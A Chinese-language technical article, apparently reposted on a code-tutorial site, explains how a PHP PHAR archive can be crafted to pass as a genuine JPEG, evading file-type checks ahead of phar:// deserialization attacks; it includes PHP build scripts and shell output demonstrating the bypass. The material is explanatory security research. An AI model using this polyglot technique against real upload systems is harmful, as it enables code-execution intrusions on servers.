攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)


Posted in Python onOctober 11, 2018

在US BlackHat 2018大会上,安全人员证明,攻击者不仅可以利用PHAR包发动RCE攻击,而且,通过调整其二进制内容,他们还可以将其伪装成一幅图像,从而绕过安全检查。

在本文中,我们来看看第二点是如何做到的。

背景知识

在US BlackHat 2018大会期间,Sam Thomas召开了一个关于在PHP中利用 phar:// 流包装器来实现针对服务器的代码执行攻击的研讨会( 幻灯片 )。

在运行PHAR包时,由于PHP会对其内容进行反序列化,从而允许攻击者启动一个PHP对象包含链。其中,最有趣的部分在于如何触发有效载荷:归档上的任何文件操作都将执行它。最后,攻击者根本无需关心文件名是否正确,因为即使是失败的文件调用,PHP也会对其内容进行反序列化处理。

此外,攻击者完全可以将PHAR包伪装成一幅图像:在这篇文章中,我们将为读者解释他们是如何做到这一点的。

降至字节码级别

有时我们会忘记这一点,那就是在机器眼里,文件只不过是一堆遵循预定义结构的字节而已。对于应用程序而言,将检查自己是否可以管理这样的数据流,如果可以的话,就会生成相应的输出。

在Thomas的演讲中,曾提示如何创建具有有效JPEG头部的PHAR包。

攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)

图片引自Sam Thomas的幻灯片

不过,这里我们要做的是创建一个具有JPEG头部的文件,并更新PHAR的校验和。这样一来,PHAR包一方面会被视为一个图像,同时,PHP还可以继续执行它。

开始下手

听起来,这里只需修改几个字节并更新校验,按说应该非常轻松,对吧?

然而,事实并非如此。

计算校验和(至少对我来说)是一件让人头痛的事情。所以,我想:如果让PHP来代劳的话,会怎样呢?

所以,我对Thomas的原始剧本进行了一番改造,具体如下所示:

<?php
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

如您所见,这里将原始HEX字节添加到了PHAR存档的存根部分。下面是原始HEX得到的结果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg 
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB

这同时是一个合法的PHAR包,以及一幅合法的JPEG图像吗?

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)

看到了吧,PHP将其视为一幅图像,我们仍然可以探索存档的内容。哈哈,好玩吧!

注意:请仔细查看存根部分,看看它是如何“跳过”开头部分的PHP标记的。因为这里是绕过大多数内容扫描程序的关键所在。对于存档来说,是否有效的关键在于函数 __HALT_COMPILER() ; 我认为,PHP会通过它来确定出应该“跳过”多少数据。

更进一步

到目前为止,我们制作的文件已经可以通过任何基于文件头的类型检测了,但是,对于更高级的检测方法来说,它就无能为力了。例如,使用 getimagesize 来检查文件内容是否为图像的话,将返回false,因为它并不是一幅“真正”的图像:

tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

看到了吧。

但是,别忘了,我们可以在 __HALT_COMPILER() 标记之前填充任意的数据的,所以,如果我们在此填入一幅完整的图像的话,会怎样呢?于是,我花了大量的时间去研读 JPEG规范 和 PHP源代码 ,不过最后仍然没有理出头绪,所以,我果断决定放弃——太复杂了。

那么,能否直接使用GIMP创建10x10黑色图像并嵌入其中呢?

<?php
class TestObject {}
$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

好了,看看效果如何:

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
 [0] =>
 int(10)
 [1] =>
 int(10)
 [2] =>
 int(2)
 [3] =>
 string(22) "width="10" height="10""
 'bits' =>
 int(8)
 'channels' =>
 int(3)
 'mime' =>
 string(10) "image/jpeg"
}

这次,我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的PHAR包,同时,它还是一幅合法的图像(我们甚至可以用系统图像查看器打开它):

攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)

小结

正如我们刚才看到的,文件实际上只是一堆字节而已:如果我们只是利用其元数据进行类型检测的话,那么很可能会出错:攻击者可以轻松绕过检测,并返回他们想要的文件类型。要想检测文件类型,更加可靠的解决方案是直接读取文件内容并搜索恶意字符串。

Python 相关文章推荐
Python实现图片转字符画的示例代码
Aug 21 Python
Python实现PS滤镜功能之波浪特效示例
Jan 26 Python
python模块smtplib实现纯文本邮件发送功能
May 22 Python
pytorch + visdom 处理简单分类问题的示例
Jun 04 Python
Win10下python 2.7.13 安装配置方法图文教程
Sep 18 Python
linux中如何使用python3获取ip地址
Jul 15 Python
Django 缓存配置Redis使用详解
Jul 23 Python
手动安装python3.6的操作过程详解
Jan 13 Python
解决pycharm每次打开项目都需要配置解释器和安装库问题
Feb 26 Python
解决在keras中使用model.save()函数保存模型失败的问题
May 21 Python
Python 实现3种回归模型(Linear Regression,Lasso,Ridge)的示例
Oct 15 Python
Python中的turtle画箭头,矩形,五角星
Mar 16 Python
python中join()方法介绍
Oct 11 #Python
Python中staticmethod和classmethod的作用与区别
Oct 11 #Python
对Python 窗体(tkinter)文本编辑器(Text)详解
Oct 11 #Python
详谈Python 窗体(tkinter)表格数据(Treeview)
Oct 11 #Python
Python GUI布局尺寸适配方法
Oct 11 #Python
10 行 Python 代码教你自动发送短信(不想回复工作邮件妙招)
Oct 11 #Python
对Python 窗体(tkinter)树状数据(Treeview)详解
Oct 11 #Python
You might like
让这部DC动画新作刷新你的认知
2020/03/03 欧美动漫
php获得当前的脚本网址
2007/12/10 PHP
PHP5 字符串处理函数大全
2010/03/23 PHP
用Php编写注册后Email激活验证的实例代码
2013/03/11 PHP
深入解析PHP中的(伪)多线程与多进程
2013/07/01 PHP
Zend Framework框架路由机制代码分析
2016/03/22 PHP
PHP中创建和编辑Excel表格的方法
2018/09/13 PHP
JavaScript OOP面向对象介绍
2010/12/02 Javascript
Javascript 倒计时源代码.(时.分.秒) 详细注释版
2011/05/09 Javascript
js简单实现HTML标签Select联动带跳转
2013/10/23 Javascript
使用jQuery时Form表单元素ID和name命名大忌
2014/03/06 Javascript
JS实现黑色风格的网页TAB选项卡效果代码
2015/10/09 Javascript
vue实现app页面切换动画效果实例
2017/05/23 Javascript
Easyui Datagrid自定义按钮列(最后面的操作列)
2017/07/13 Javascript
three.js搭建室内场景教程
2018/12/30 Javascript
Vue数据绑定实例写法
2019/08/06 Javascript
JS中的算法与数据结构之字典(Dictionary)实例详解
2019/08/20 Javascript
vue项目前端微信JSAPI与外部H5支付相关实现过程及常见问题
2020/04/14 Javascript
JavaScript setTimeout()基本用法有哪些
2020/11/04 Javascript
[04:07]显微镜下的DOTA2第八期——英雄复活动作
2014/06/24 DOTA
django admin添加数据自动记录user到表中的实现方法
2018/01/05 Python
pandas DataFrame 删除重复的行的实现方法
2019/01/29 Python
对Python中DataFrame选择某列值为XX的行实例详解
2019/01/29 Python
pycharm配置pyqt5-tools开发环境的方法步骤
2019/02/11 Python
django rest framework vue 实现用户登录详解
2019/07/29 Python
Python scrapy增量爬取实例及实现过程解析
2019/12/24 Python
Python-jenkins模块获取jobs的执行状态操作
2020/05/12 Python
django template实现定义临时变量,自定义赋值、自增实例
2020/07/12 Python
使用layui实现左侧菜单栏及动态操作tab项的方法
2020/11/10 HTML / CSS
.net C#面试题
2012/08/28 面试题
党建示范点实施方案
2014/03/12 职场文书
大四毕业生自荐书
2014/07/05 职场文书
文员岗位职责
2015/02/04 职场文书
股东协议书范本2016
2016/03/21 职场文书
关于食品安全的演讲稿范文(三篇)
2019/10/21 职场文书
创业计划书之网络外卖
2019/10/31 职场文书